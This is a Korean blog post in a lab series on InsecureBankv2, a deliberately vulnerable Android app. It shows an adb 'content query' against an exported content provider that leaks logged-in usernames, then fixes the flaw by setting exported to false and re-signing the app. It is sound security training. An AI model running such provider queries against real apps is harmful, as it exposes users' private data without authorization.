[InsecureBank] #4 Exploiting Android Content Provider
안드로이드/InsecureBank
2020. 1. 10. 00:50
컨텐츠 프로바이더의 접근에 있어서 권한 검증이 미흡한 경우, 앱 내의 민감한 정보들을 유출할 수 있는 취약점 입니다.
우선 컨텐츠 프로바이더란?
앱에서 다른 앱의 데이터가 필요할 때 사용할 수 있도록 해주는 역할을 합니다.
예를들어 uri content://sms/inbox를 통해서 메세지의 데이터 베이스에 접근할 수 있습니다. 하지만 READ_SMS 권한이 없는데도 접근이 가능하면, 메세지 정보들이 유출 될 수 있는 것 입니다.
이전과 마찬가지로 apktool을 이용해 디컴파일 합니다.
./apktool d InsecureBankv2.apk
그 뒤 AndroidManifest.xml파일을 열어줍니다.
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.insecurebankv2" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727">
...중략
<application android:allowBackup="true" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:theme="@android:style/Theme.Holo.Light.DarkActionBar">
<activity android:label="@string/app_name" android:name="com.android.insecurebankv2.LoginActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:label="@string/title_activity_file_pref" android:name="com.android.insecurebankv2.FilePrefActivity" android:windowSoftInputMode="adjustNothing|stateVisible"/>
<activity android:label="@string/title_activity_do_login" android:name="com.android.insecurebankv2.DoLogin"/>
<activity android:exported="false" android:label="@string/title_activity_post_login" android:name="com.android.insecurebankv2.PostLogin"/>
<activity android:label="@string/title_activity_wrong_login" android:name="com.android.insecurebankv2.WrongLogin"/>
<activity android:exported="true" android:label="@string/title_activity_do_transfer" android:name="com.android.insecurebankv2.DoTransfer"/>
<activity android:exported="true" android:label="@string/title_activity_view_statement" android:name="com.android.insecurebankv2.ViewStatement"/>
//provider
<provider android:authorities="com.android.insecurebankv2.TrackUserContentProvider" android:exported="true" android:name="com.android.insecurebankv2.TrackUserContentProvider"/>
<receiver android:exported="true" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
<intent-filter>
<action android:name="theBroadcast"/>
</intent-filter>
...중략
</manifest>
provider항목을 보게 되면, TrackUserContentProvider라는 이름의 컨텐츠 프로바이더가 있고, exported가 true인것을 확인할 수 있었습니다.
#2 에서 다룬 Activity의 exported가 true인 것 처럼 adb에서 접근이 가능합니다.
content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
위의 명령어를 adb shell에서 입력하게 되면,
com.android.insecurebankv2.TrackUserContentProvider/trackerusers <
Row: 0 id=1, name=devadmin
Row: 1 id=2, name=devadmin
Row: 2 id=3, name=jack
로그인을 한 기록들이 보여지게 됩니다.
#2처럼 exported를 false로 변경함으로써 이 문제를 해결 할 수 있습니다.
AndroidManifest.xml에서 provider의 exported를 false로 변경한 뒤, apktool로 리컴파일 합니다.
./apktool b InsecureBankv2
그 뒤, sign.jar로 sign을 해주고 설치합니다.
java -jar sign.jar InsecureBankv2.apk
다시 adb shell에서 query를 날려보면
com.android.insecurebankv2.TrackUserContentProvider/trackerusers <
Error while accessing provider:com.android.insecurebankv2.TrackUserContentProvider
java.lang.SecurityException: Permission Denial: opening provider com.android.insecurebankv2.TrackUserContentProvider from (null) (pid=7518, uid=2000) that is not exported from UID 10095
at android.os.Parcel.createException(Parcel.java:1950)
at android.os.Parcel.readException(Parcel.java:1918)
at android.os.Parcel.readException(Parcel.java:1868)
at android.app.IActivityManager$Stub$Proxy.getContentProviderExternal(IActivityManager.java:6550)
at com.android.commands.content.Content$Command.execute(Content.java:464)
at com.android.commands.content.Content.main(Content.java:690)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:340)
Caused by: android.os.RemoteException: Remote stack trace:
at com.android.server.am.ActivityManagerService.getContentProviderImpl(ActivityManagerService.java:12195)
at com.android.server.am.ActivityManagerService.getContentProviderExternalUnchecked(ActivityManagerService.java:12606)
at com.android.server.am.ActivityManagerService.getContentProviderExternal(ActivityManagerService.java:12601)
at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:1659)
at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:3291)
에러가 발생하게 됩니다.
'안드로이드 > InsecureBank' 카테고리의 다른 글
[InsecureBank] #5 Exploiting Weak Cryptography (0) | 2020.01.15 |
---|---|
[InsecureBank] #3 Exploiting Android Activities (0) | 2020.01.08 |
[InsecureBank] #2 Application patching , Week Auth (0) | 2020.01.08 |
[InsecureBank] #1 환경 구축하기 (0) | 2020.01.07 |